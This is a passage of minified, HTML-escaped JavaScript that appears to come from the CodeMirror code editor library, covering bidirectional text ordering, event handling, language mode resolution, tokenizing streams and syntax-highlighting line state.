if(helper.source.indexOf(&quot;\\w&quot;)&gt;-1&amp;&amp;isWordCharBasic(ch)){return!0}
return helper.test(ch)}
function isEmpty(obj){for(var n in obj){if(obj.hasOwnProperty(n)&amp;&amp;obj[n]){return!1}}
return!0}
var extendingChars=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;function isExtendingChar(ch){return ch.charCodeAt(0)&gt;=768&amp;&amp;extendingChars.test(ch)}
function skipExtendingChars(str,pos,dir){while((dir&lt;0?pos&gt;0:pos&lt;str.length)&amp;&amp;isExtendingChar(str.charAt(pos))){pos+=dir}
return pos}
function findFirst(pred,from,to){var dir=from&gt;to?-1:1;for(;;){if(from==to){return from}
var midF=(from+to)/2,mid=dir&lt;0?Math.ceil(midF):Math.floor(midF);if(mid==from){return pred(mid)?from:to}
if(pred(mid)){to=mid}else{from=mid+dir}}}
function iterateBidiSections(order,from,to,f){if(!order){return f(from,to,&quot;ltr&quot;,0)}
var found=!1;for(var i=0;i&lt;order.length;++i){var part=order[i];if(part.from&lt;to&amp;&amp;part.to&gt;from||from==to&amp;&amp;part.to==from){f(Math.max(part.from,from),Math.min(part.to,to),part.level==1?&quot;rtl&quot;:&quot;ltr&quot;,i);found=!0}}
if(!found){f(from,to,&quot;ltr&quot;)}}
var bidiOther=null;function getBidiPartAt(order,ch,sticky){var found;bidiOther=null;for(var i=0;i&lt;order.length;++i){var cur=order[i];if(cur.from&lt;ch&amp;&amp;cur.to&gt;ch){return i}
if(cur.to==ch){if(cur.from!=cur.to&amp;&amp;sticky==&quot;before&quot;){found=i}else{bidiOther=i}}
if(cur.from==ch){if(cur.from!=cur.to&amp;&amp;sticky!=&quot;before&quot;){found=i}else{bidiOther=i}}}
return found!=null?found:bidiOther}
var bidiOrdering=(function(){var lowTypes=&quot;bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN&quot;;var arabicTypes=&quot;nnnnnnNNr%%r,rNNmmmmmmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmmmnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmnNmmmmmmrrmmNmmmmrr1111111111&quot;;function charType(code){if(code&lt;=0xf7){return lowTypes.charAt(code)}else if(0x590&lt;=code&amp;&amp;code&lt;=0x5f4){return&quot;R&quot;}else if(0x600&lt;=code&amp;&amp;code&lt;=0x6f9){return arabicTypes.charAt(code-0x600)}else if(0x6ee&lt;=code&amp;&amp;code&lt;=0x8ac){return&quot;r&quot;}else if(0x2000&lt;=code&amp;&amp;code&lt;=0x200b){return&quot;w&quot;}else if(code==0x200c){return&quot;b&quot;}else{return&quot;L&quot;}}
var bidiRE=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/;var isNeutral=/[stwN]/,isStrong=/[LRr]/,countsAsLeft=/[Lb1n]/,countsAsNum=/[1n]/;function BidiSpan(level,from,to){this.level=level;this.from=from;this.to=to}
return function(str,direction){var outerType=direction==&quot;ltr&quot;?&quot;L&quot;:&quot;R&quot;;if(str.length==0||direction==&quot;ltr&quot;&amp;&amp;!bidiRE.test(str)){return!1}
var len=str.length,types=[];for(var i=0;i&lt;len;++i){types.push(charType(str.charCodeAt(i)))}
for(var i$1=0,prev=outerType;i$1&lt;len;++i$1){var type=types[i$1];if(type==&quot;m&quot;){types[i$1]=prev}else{prev=type}}
for(var i$2=0,cur=outerType;i$2&lt;len;++i$2){var type$1=types[i$2];if(type$1==&quot;1&quot;&amp;&amp;cur==&quot;r&quot;){types[i$2]=&quot;n&quot;}else if(isStrong.test(type$1)){cur=type$1;if(type$1==&quot;r&quot;){types[i$2]=&quot;R&quot;}}}
for(var i$3=1,prev$1=types[0];i$3&lt;len-1;++i$3){var type$2=types[i$3];if(type$2==&quot;+&quot;&amp;&amp;prev$1==&quot;1&quot;&amp;&amp;types[i$3+1]==&quot;1&quot;){types[i$3]=&quot;1&quot;}else if(type$2==&quot;,&quot;&amp;&amp;prev$1==types[i$3+1]&amp;&amp;(prev$1==&quot;1&quot;||prev$1==&quot;n&quot;)){types[i$3]=prev$1}
prev$1=type$2}
for(var i$4=0;i$4&lt;len;++i$4){var type$3=types[i$4];if(type$3==&quot;,&quot;){types[i$4]=&quot;N&quot;}else if(type$3==&quot;%&quot;){var end=(void 0);for(end=i$4+1;end&lt;len&amp;&amp;types[end]==&quot;%&quot;;++end){}
var replace=(i$4&amp;&amp;types[i$4-1]==&quot;!&quot;)||(end&lt;len&amp;&amp;types[end]==&quot;1&quot;)?&quot;1&quot;:&quot;N&quot;;for(var j=i$4;j&lt;end;++j){types[j]=replace}
i$4=end-1}}
for(var i$5=0,cur$1=outerType;i$5&lt;len;++i$5){var type$4=types[i$5];if(cur$1==&quot;L&quot;&amp;&amp;type$4==&quot;1&quot;){types[i$5]=&quot;L&quot;}else if(isStrong.test(type$4)){cur$1=type$4}}
for(var i$6=0;i$6&lt;len;++i$6){if(isNeutral.test(types[i$6])){var end$1=(void 0);for(end$1=i$6+1;end$1&lt;len&amp;&amp;isNeutral.test(types[end$1]);++end$1){}
var before=(i$6?types[i$6-1]:outerType)==&quot;L&quot;;var after=(end$1&lt;len?types[end$1]:outerType)==&quot;L&quot;;var replace$1=before==after?(before?&quot;L&quot;:&quot;R&quot;):outerType;for(var j$1=i$6;j$1&lt;end$1;++j$1){types[j$1]=replace$1}
i$6=end$1-1}}
var order=[],m;for(var i$7=0;i$7&lt;len;){if(countsAsLeft.test(types[i$7])){var start=i$7;for(++i$7;i$7&lt;len&amp;&amp;countsAsLeft.test(types[i$7]);++i$7){}
order.push(new BidiSpan(0,start,i$7))}else{var pos=i$7,at=order.length,isRTL=direction==&quot;rtl&quot;?1:0;for(++i$7;i$7&lt;len&amp;&amp;types[i$7]!=&quot;L&quot;;++i$7){}
for(var j$2=pos;j$2&lt;i$7;){if(countsAsNum.test(types[j$2])){if(pos&lt;j$2){order.splice(at,0,new BidiSpan(1,pos,j$2));at+=isRTL}
var nstart=j$2;for(++j$2;j$2&lt;i$7&amp;&amp;countsAsNum.test(types[j$2]);++j$2){}
order.splice(at,0,new BidiSpan(2,nstart,j$2));at+=isRTL;pos=j$2}else{++j$2}}
if(pos&lt;i$7){order.splice(at,0,new BidiSpan(1,pos,i$7))}}}
if(direction==&quot;ltr&quot;){if(order[0].level==1&amp;&amp;(m=str.match(/^\s+/))){order[0].from=m[0].length;order.unshift(new BidiSpan(0,0,m[0].length))}
if(lst(order).level==1&amp;&amp;(m=str.match(/\s+$/))){lst(order).to-=m[0].length;order.push(new BidiSpan(0,len-m[0].length,len))}}
return direction==&quot;rtl&quot;?order.reverse():order}})();function getOrder(line,direction){var order=line.order;if(order==null){order=line.order=bidiOrdering(line.text,direction)}
return order}
var noHandlers=[];var on=function(emitter,type,f){if(emitter.addEventListener){emitter.addEventListener(type,f,!1)}else if(emitter.attachEvent){emitter.attachEvent(&quot;on&quot;+type,f)}else{var map=emitter._handlers||(emitter._handlers={});map[type]=(map[type]||noHandlers).concat(f)}};function getHandlers(emitter,type){return emitter._handlers&amp;&amp;emitter._handlers[type]||noHandlers}
function off(emitter,type,f){if(emitter.removeEventListener){emitter.removeEventListener(type,f,!1)}else if(emitter.detachEvent){emitter.detachEvent(&quot;on&quot;+type,f)}else{var map=emitter._handlers,arr=map&amp;&amp;map[type];if(arr){var index=indexOf(arr,f);if(index&gt;-1){map[type]=arr.slice(0,index).concat(arr.slice(index+1))}}}}
function signal(emitter,type){var handlers=getHandlers(emitter,type);if(!handlers.length){return}
var args=Array.prototype.slice.call(arguments,2);for(var i=0;i&lt;handlers.length;++i){handlers[i].apply(null,args)}}
function signalDOMEvent(cm,e,override){if(typeof e==&quot;string&quot;){e={type:e,preventDefault:function(){this.defaultPrevented=!0}}}
signal(cm,override||e.type,cm,e);return e_defaultPrevented(e)||e.codemirrorIgnore}
function signalCursorActivity(cm){var arr=cm._handlers&amp;&amp;cm._handlers.cursorActivity;if(!arr){return}
var set=cm.curOp.cursorActivityHandlers||(cm.curOp.cursorActivityHandlers=[]);for(var i=0;i&lt;arr.length;++i){if(indexOf(set,arr[i])==-1){set.push(arr[i])}}}
function hasHandler(emitter,type){return getHandlers(emitter,type).length&gt;0}
function eventMixin(ctor){ctor.prototype.on=function(type,f){on(this,type,f)};ctor.prototype.off=function(type,f){off(this,type,f)}}
function e_preventDefault(e){if(e.preventDefault){e.preventDefault()}else{e.returnValue=!1}}
function e_stopPropagation(e){if(e.stopPropagation){e.stopPropagation()}else{e.cancelBubble=!0}}
function e_defaultPrevented(e){return e.defaultPrevented!=null?e.defaultPrevented:e.returnValue==!1}
function e_stop(e){e_preventDefault(e);e_stopPropagation(e)}
function e_target(e){return e.target||e.srcElement}
function e_button(e){var b=e.which;if(b==null){if(e.button&amp;1){b=1}else if(e.button&amp;2){b=3}else if(e.button&amp;4){b=2}}
if(mac&amp;&amp;e.ctrlKey&amp;&amp;b==1){b=3}
return b}
var dragAndDrop=function(){if(ie&amp;&amp;ie_version&lt;9){return!1}
var div=elt(&#039;div&#039;);return&quot;draggable&quot; in div||&quot;dragDrop&quot; in div}();var zwspSupported;function zeroWidthElement(measure){if(zwspSupported==null){var test=elt(&quot;span&quot;,&quot;\u200b&quot;);removeChildrenAndAdd(measure,elt(&quot;span&quot;,[test,document.createTextNode(&quot;x&quot;)]));if(measure.firstChild.offsetHeight!=0){zwspSupported=test.offsetWidth&lt;=1&amp;&amp;test.offsetHeight&gt;2&amp;&amp;!(ie&amp;&amp;ie_version&lt;8)}}
var node=zwspSupported?elt(&quot;span&quot;,&quot;\u200b&quot;):elt(&quot;span&quot;,&quot;\u00a0&quot;,null,&quot;display: inline-block; width: 1px; margin-right: -1px&quot;);node.setAttribute(&quot;cm-text&quot;,&quot;&quot;);return node}
var badBidiRects;function hasBadBidiRects(measure){if(badBidiRects!=null){return badBidiRects}
var txt=removeChildrenAndAdd(measure,document.createTextNode(&quot;A\u062eA&quot;));var r0=range(txt,0,1).getBoundingClientRect();var r1=range(txt,1,2).getBoundingClientRect();removeChildren(measure);if(!r0||r0.left==r0.right){return!1}
return badBidiRects=(r1.right-r0.right&lt;3)}
var splitLinesAuto=&quot;\n\nb&quot;.split(/\n/).length!=3?function(string){var pos=0,result=[],l=string.length;while(pos&lt;=l){var nl=string.indexOf(&quot;\n&quot;,pos);if(nl==-1){nl=string.length}
var line=string.slice(pos,string.charAt(nl-1)==&quot;\r&quot;?nl-1:nl);var rt=line.indexOf(&quot;\r&quot;);if(rt!=-1){result.push(line.slice(0,rt));pos+=rt+1}else{result.push(line);pos=nl+1}}
return result}:function(string){return string.split(/\r\n?|\n/)};var hasSelection=window.getSelection?function(te){try{return te.selectionStart!=te.selectionEnd}catch(e){return!1}}:function(te){var range;try{range=te.ownerDocument.selection.createRange()}catch(e){}
if(!range||range.parentElement()!=te){return!1}
return range.compareEndPoints(&quot;StartToEnd&quot;,range)!=0};var hasCopyEvent=(function(){var e=elt(&quot;div&quot;);if(&quot;oncopy&quot; in e){return!0}
e.setAttribute(&quot;oncopy&quot;,&quot;return;&quot;);return typeof e.oncopy==&quot;function&quot;})();var badZoomedRects=null;function hasBadZoomedRects(measure){if(badZoomedRects!=null){return badZoomedRects}
var node=removeChildrenAndAdd(measure,elt(&quot;span&quot;,&quot;x&quot;));var normal=node.getBoundingClientRect();var fromRange=range(node,0,1).getBoundingClientRect();return badZoomedRects=Math.abs(normal.left-fromRange.left)&gt;1}
var modes={},mimeModes={};function defineMode(name,mode){if(arguments.length&gt;2){mode.dependencies=Array.prototype.slice.call(arguments,2)}
modes[name]=mode}
function defineMIME(mime,spec){mimeModes[mime]=spec}
function resolveMode(spec){if(typeof spec==&quot;string&quot;&amp;&amp;mimeModes.hasOwnProperty(spec)){spec=mimeModes[spec]}else if(spec&amp;&amp;typeof spec.name==&quot;string&quot;&amp;&amp;mimeModes.hasOwnProperty(spec.name)){var found=mimeModes[spec.name];if(typeof found==&quot;string&quot;){found={name:found}}
spec=createObj(found,spec);spec.name=found.name}else if(typeof spec==&quot;string&quot;&amp;&amp;/^[\w\-]+\/[\w\-]+\+xml$/.test(spec)){return resolveMode(&quot;application/xml&quot;)}else if(typeof spec==&quot;string&quot;&amp;&amp;/^[\w\-]+\/[\w\-]+\+json$/.test(spec)){return resolveMode(&quot;application/json&quot;)}
if(typeof spec==&quot;string&quot;){return{name:spec}}else{return spec||{name:&quot;null&quot;}}}
function getMode(options,spec){spec=resolveMode(spec);var mfactory=modes[spec.name];if(!mfactory){return getMode(options,&quot;text/plain&quot;)}
var modeObj=mfactory(options,spec);if(modeExtensions.hasOwnProperty(spec.name)){var exts=modeExtensions[spec.name];for(var prop in exts){if(!exts.hasOwnProperty(prop)){continue}
if(modeObj.hasOwnProperty(prop)){modeObj[&quot;_&quot;+prop]=modeObj[prop]}
modeObj[prop]=exts[prop]}}
modeObj.name=spec.name;if(spec.helperType){modeObj.helperType=spec.helperType}
if(spec.modeProps){for(var prop$1 in spec.modeProps){modeObj[prop$1]=spec.modeProps[prop$1]}}
return modeObj}
var modeExtensions={};function extendMode(mode,properties){var exts=modeExtensions.hasOwnProperty(mode)?modeExtensions[mode]:(modeExtensions[mode]={});copyObj(properties,exts)}
function copyState(mode,state){if(state===!0){return state}
if(mode.copyState){return mode.copyState(state)}
var nstate={};for(var n in state){var val=state[n];if(val instanceof Array){val=val.concat([])}
nstate[n]=val}
return nstate}
function innerMode(mode,state){var info;while(mode.innerMode){info=mode.innerMode(state);if(!info||info.mode==mode){break}
state=info.state;mode=info.mode}
return info||{mode:mode,state:state}}
function startState(mode,a1,a2){return mode.startState?mode.startState(a1,a2):!0}
var StringStream=function(string,tabSize,lineOracle){this.pos=this.start=0;this.string=string;this.tabSize=tabSize||8;this.lastColumnPos=this.lastColumnValue=0;this.lineStart=0;this.lineOracle=lineOracle};StringStream.prototype.eol=function(){return this.pos&gt;=this.string.length};StringStream.prototype.sol=function(){return this.pos==this.lineStart};StringStream.prototype.peek=function(){return this.string.charAt(this.pos)||undefined};StringStream.prototype.next=function(){if(this.pos&lt;this.string.length){return this.string.charAt(this.pos++)}};StringStream.prototype.eat=function(match){var ch=this.string.charAt(this.pos);var ok;if(typeof match==&quot;string&quot;){ok=ch==match}else{ok=ch&amp;&amp;(match.test?match.test(ch):match(ch))}
if(ok){++this.pos;return ch}};StringStream.prototype.eatWhile=function(match){var start=this.pos;while(this.eat(match)){}
return this.pos&gt;start};StringStream.prototype.eatSpace=function(){var start=this.pos;while(/[\s\u00a0]/.test(this.string.charAt(this.pos))){++this.pos}
return this.pos&gt;start};StringStream.prototype.skipToEnd=function(){this.pos=this.string.length};StringStream.prototype.skipTo=function(ch){var found=this.string.indexOf(ch,this.pos);if(found&gt;-1){this.pos=found;return!0}};StringStream.prototype.backUp=function(n){this.pos-=n};StringStream.prototype.column=function(){if(this.lastColumnPos&lt;this.start){this.lastColumnValue=countColumn(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue);this.lastColumnPos=this.start}
return this.lastColumnValue-(this.lineStart?countColumn(this.string,this.lineStart,this.tabSize):0)};StringStream.prototype.indentation=function(){return countColumn(this.string,null,this.tabSize)-(this.lineStart?countColumn(this.string,this.lineStart,this.tabSize):0)};StringStream.prototype.match=function(pattern,consume,caseInsensitive){if(typeof pattern==&quot;string&quot;){var cased=function(str){return caseInsensitive?str.toLowerCase():str};var substr=this.string.substr(this.pos,pattern.length);if(cased(substr)==cased(pattern)){if(consume!==!1){this.pos+=pattern.length}
return!0}}else{var match=this.string.slice(this.pos).match(pattern);if(match&amp;&amp;match.index&gt;0){return null}
if(match&amp;&amp;consume!==!1){this.pos+=match[0].length}
return match}};StringStream.prototype.current=function(){return this.string.slice(this.start,this.pos)};StringStream.prototype.hideFirstChars=function(n,inner){this.lineStart+=n;try{return inner()}finally{this.lineStart-=n}};StringStream.prototype.lookAhead=function(n){var oracle=this.lineOracle;return oracle&amp;&amp;oracle.lookAhead(n)};StringStream.prototype.baseToken=function(){var oracle=this.lineOracle;return oracle&amp;&amp;oracle.baseToken(this.pos)};function getLine(doc,n){n-=doc.first;if(n&lt;0||n&gt;=doc.size){throw new Error(&quot;There is no line &quot;+(n+doc.first)+&quot; in the document.&quot;)}
var chunk=doc;while(!chunk.lines){for(var i=0;;++i){var child=chunk.children[i],sz=child.chunkSize();if(n&lt;sz){chunk=child;break}
n-=sz}}
return chunk.lines[n]}
function getBetween(doc,start,end){var out=[],n=start.line;doc.iter(start.line,end.line+1,function(line){var text=line.text;if(n==end.line){text=text.slice(0,end.ch)}
if(n==start.line){text=text.slice(start.ch)}
out.push(text);++n});return out}
function getLines(doc,from,to){var out=[];doc.iter(from,to,function(line){out.push(line.text)});return out}
function updateLineHeight(line,height){var diff=height-line.height;if(diff){for(var n=line;n;n=n.parent){n.height+=diff}}}
function lineNo(line){if(line.parent==null){return null}
var cur=line.parent,no=indexOf(cur.lines,line);for(var chunk=cur.parent;chunk;cur=chunk,chunk=chunk.parent){for(var i=0;;++i){if(chunk.children[i]==cur){break}
no+=chunk.children[i].chunkSize()}}
return no+cur.first}
function lineAtHeight(chunk,h){var n=chunk.first;outer:do{for(var i$1=0;i$1&lt;chunk.children.length;++i$1){var child=chunk.children[i$1],ch=child.height;if(h&lt;ch){chunk=child;continue outer}
h-=ch;n+=child.chunkSize()}
return n}while(!chunk.lines)
var i=0;for(;i&lt;chunk.lines.length;++i){var line=chunk.lines[i],lh=line.height;if(h&lt;lh){break}
h-=lh}
return n+i}
function isLine(doc,l){return l&gt;=doc.first&amp;&amp;l&lt;doc.first+doc.size}
function lineNumberFor(options,i){return String(options.lineNumberFormatter(i+options.firstLineNumber))}
function Pos(line,ch,sticky){if(sticky===void 0)sticky=null;if(!(this instanceof Pos)){return new Pos(line,ch,sticky)}
this.line=line;this.ch=ch;this.sticky=sticky}
function cmp(a,b){return a.line-b.line||a.ch-b.ch}
function equalCursorPos(a,b){return a.sticky==b.sticky&amp;&amp;cmp(a,b)==0}
function copyPos(x){return Pos(x.line,x.ch)}
function maxPos(a,b){return cmp(a,b)&lt;0?b:a}
function minPos(a,b){return cmp(a,b)&lt;0?a:b}
function clipLine(doc,n){return Math.max(doc.first,Math.min(n,doc.first+doc.size-1))}
function clipPos(doc,pos){if(pos.line&lt;doc.first){return Pos(doc.first,0)}
var last=doc.first+doc.size-1;if(pos.line&gt;last){return Pos(last,getLine(doc,last).text.length)}
return clipToLen(pos,getLine(doc,pos.line).text.length)}
function clipToLen(pos,linelen){var ch=pos.ch;if(ch==null||ch&gt;linelen){return Pos(pos.line,linelen)}else if(ch&lt;0){return Pos(pos.line,0)}else{return pos}}
function clipPosArray(doc,array){var out=[];for(var i=0;i&lt;array.length;i++){out[i]=clipPos(doc,array[i])}
return out}
var SavedContext=function(state,lookAhead){this.state=state;this.lookAhead=lookAhead};var Context=function(doc,state,line,lookAhead){this.state=state;this.doc=doc;this.line=line;this.maxLookAhead=lookAhead||0;this.baseTokens=null;this.baseTokenPos=1};Context.prototype.lookAhead=function(n){var line=this.doc.getLine(this.line+n);if(line!=null&amp;&amp;n&gt;this.maxLookAhead){this.maxLookAhead=n}
return line};Context.prototype.baseToken=function(n){if(!this.baseTokens){return null}
while(this.baseTokens[this.baseTokenPos]&lt;=n){this.baseTokenPos+=2}
var type=this.baseTokens[this.baseTokenPos+1];return{type:type&amp;&amp;type.replace(/( |^)overlay .*/,&quot;&quot;),size:this.baseTokens[this.baseTokenPos]-n}};Context.prototype.nextLine=function(){this.line++;if(this.maxLookAhead&gt;0){this.maxLookAhead--}};Context.fromSaved=function(doc,saved,line){if(saved instanceof SavedContext){return new Context(doc,copyState(doc.mode,saved.state),line,saved.lookAhead)}else{return new Context(doc,copyState(doc.mode,saved),line)}};Context.prototype.save=function(copy){var state=copy!==!1?copyState(this.doc.mode,this.state):this.state;return this.maxLookAhead&gt;0?new SavedContext(state,this.maxLookAhead):state};function highlightLine(cm,line,context,forceToEnd){var st=[cm.state.modeGen],lineClasses={};runMode(cm,line.text,cm.doc.mode,context,function(end,style){return st.push(end,style)},lineClasses,forceToEnd);var state=context.state;var loop=function(o){context.baseTokens=st;var overlay=cm.state.overlays[o],i=1,at=0;context.state=!0;runMode(cm,line.text,overlay.mode,context,function(end,style){var start=i;while(at&lt;end){var i_end=st[i];if(i_end&gt;end){st.splice(i,1,end,st[i+1],i_end)}
i+=2;at=Math.min(end,i_end)}
if(!style){return}
if(overlay.opaque){st.splice(start,i-start,end,&quot;overlay &quot;+style);i=start+2}else{for(;start&lt;i;start+=2){var cur=st[start+1];st[start+1]=(cur?cur+&quot; &quot;:&quot;&quot;)+&quot;overlay &quot;+style}}},lineClasses);context.state=state;context.baseTokens=null;context.baseTokenPos=1};for(var o=0;o&lt;cm.state.overlays.length;++o)loop(o);return{styles:st,classes:lineClasses.bgClass||lineClasses.textClass?lineClasses:null}}
function getLineStyles(cm,line,updateFrontier){if(!line.styles||line.styles[0]!=cm.state.modeGen){var context=getContextBefore(cm,lineNo(line));var resetState=line.text.length&gt;cm.options.maxHighlightLength&amp;&amp;copyState(cm.doc.mode,context.state);var result=highlightLine(cm,line,context);if(resetState){context.state=resetState}
line.stateAfter=context.save(!resetState);line.styles=result.styles;if(result.classes){line.styleClasses=result.classes}else if(line.styleClasses){line.styleClasses=null}
if(updateFrontier===cm.doc.highlightFrontier){cm.doc.modeFrontier=Math.max(cm.doc.modeFrontier,++cm.doc.highlightFrontier)}}
return line.styles}
function getContextBefore(cm,n,precise){var doc=cm.doc,display=cm.display;if(!doc.mode.startState){return new Context(doc,!0,n)}
var start=findStartLine(cm,n,precise);var saved=start&gt;doc.first&amp;&amp;getLine(doc,start-1).stateAfter;var context=saved?Context.fromSaved(doc,saved,start):new Context(doc,startState(doc.mode),start);doc.iter(start,n,function(line){processLine(cm,line.text,context);var pos=context.line;line.stateAfter=pos==n-1||pos%5==0||pos&gt;=display.viewFrom&amp;&amp;pos&lt;display.viewTo?context.save():null;context.nextLine()});if(precise){doc.modeFrontier=context.line}
return context}
function processLine(cm,text,context,startAt){var mode=cm.doc.mode;var stream=new StringStream(text,cm.options.tabSize,context);stream.start=stream.pos=startAt||0;if(text==&quot;&quot;){callBlankLine(mode,context.state)}
while(!stream.eol()){readToken(mode,stream,context.state);stream.start=stream.pos}}
function callBlankLine(mode,state){if(mode.blankLine){return mode.blankLine(state)}
if(!mode.innerMode){return}
var inner=innerMode(mode,state);if(inner.mode.blankLine){return inner.mode.blankLine(inner.state)}}
function readToken(mode,stream,state,inner){for(var i=0;i&lt;10;i++){if(inner){inner[0]=innerMode(mode,state).mode}
var style=mode.token(stream,state);if(stream.pos&gt;stream.start){return style}}
throw new Error(&quot;Mode &quot;+mode.name+&quot; failed to advance stream.&quot;)}
var Token=function(stream,type,state){this.start=stream.start;this.end=stream.pos;this.string=stream.current();this.type=type||null;this.state=state};function takeToken(cm,pos,precise,asArray){var doc=cm.doc,mode=doc.mode,style;pos=clipPos(doc,pos);var line=getLine(doc,pos.line),context=getContextBefore(cm,pos.line,precise);var stream=new StringStream(line.text,cm.options.tabSize,context),tokens;if(asArray){tokens=[]}
while((asArray||stream.pos&lt;pos.ch)&amp;&amp;!stream.eol()){stream.start=stream.pos;style=readToken(mode,stream,context.state);if(asArray){tokens.push(new Token(stream,style,copyState(doc.mode,context.state)))}}
return asArray?tokens:new Token(stream,style,context.state)}
function extractLineClasses(type,output){if(type){for(;;){var lineClass=type.match(/(?:^|\s+)line-(background-)?(\S+)/);if(!lineClass){break}
type=type.slice(0,lineClass.index)+type.slice(lineClass.index+lineClass[0].length);var prop=lineClass[1]?&quot;bgClass&quot;:&quot;textClass&quot;;if(output[prop]==null){output[prop]=lineClass[2]}else if(!(new RegExp(&quot;(?:^|\\s)&quot;+lineClass[2]+&quot;(?:$|\\s)&quot;)).test(output[prop])){output[prop]+=&quot; &quot;+lineClass[2]}}}
return type}
function runMode(cm,text,mode,context,f,lineClasses,forceToEnd){var flattenSpans=mode.flattenSpans;if(flattenSpans==null){flattenSpans=cm.options.flattenSpans}
var curStart=0,curStyle=null;var stream=new StringStream(text,cm.options.tabSize,context),style;var inner=cm.options.addModeClass&amp;&amp;[null];if(text==&quot;&quot;){extractLineClasses(callBlankLine(mode,context.state),lineClasses)}
while(!stream.eol()){if(stream.pos&gt;cm.options.maxHighlightLength){flattenSpans=!1;if(forceToEnd){processLine(cm,text,context,stream.pos)}
stream.pos=text.length;style=null}else{style=extractLineClasses(readToken(mode,stream,context.state,inner),lineClasses)}
if(inner){var mName=inner[0].name;if(mName){style=&quot;m-&quot;+(style?mName+&quot; &quot;+style:mName)}}
if(!flattenSpans||curStyle!=style){while(curStart&lt;stream.start){curStart=Math.min(stream.start,curStart+5000);f(curStart,curStyle)}
curStyle=style}
stream.start=stream.pos}
while(curStart&lt;stream.pos){var pos=Math.min(stream.pos,curStart+5000);f(pos,curStyle);curStart=pos}}
function findStartLine(cm,n,precise){var minindent,minline,doc=cm.doc;var lim=precise?-1:n-(cm.doc.mode.innerMode?1000:100);for(var search=n;search&gt;lim;--search){if(search&lt;=doc.first){return doc.first}
var line=getLine(doc,search-1),after=line.stateAfter;if(after&amp;&amp;(!precise||search+(after instanceof SavedContext?after.lookAhead:0)&lt;=doc.modeFrontier)){return search}
var indented=countColumn(line.text,null,cm.options.tabSize);if(minline==null||minindent&gt;indented){minline=search-1;minindent=indented}}
return minline}
function retreatFrontier(doc,n){doc.modeFrontier=Math.min(doc.modeFrontier,n);if(doc.highlightFrontier&lt;n-10){return}
var start=doc.first;for(var line=n-1;line&gt;start;line--){var saved=getLine(doc,line).stateAfter;if(saved&amp;&amp;(!(saved instanceof SavedContext)||line+saved.lookAhead&lt;n)){start=line+1;break}}
doc.highlightFrontier=Math.min(doc.highlightFrontier,start)}
var sawReadOnlySpans=!1,sawCollapsedSpans=!1;function seeReadOnlySpans(){sawReadOnlySpans=!0}
function seeCollapsedSpans(){sawCollapsedSpans=!0}
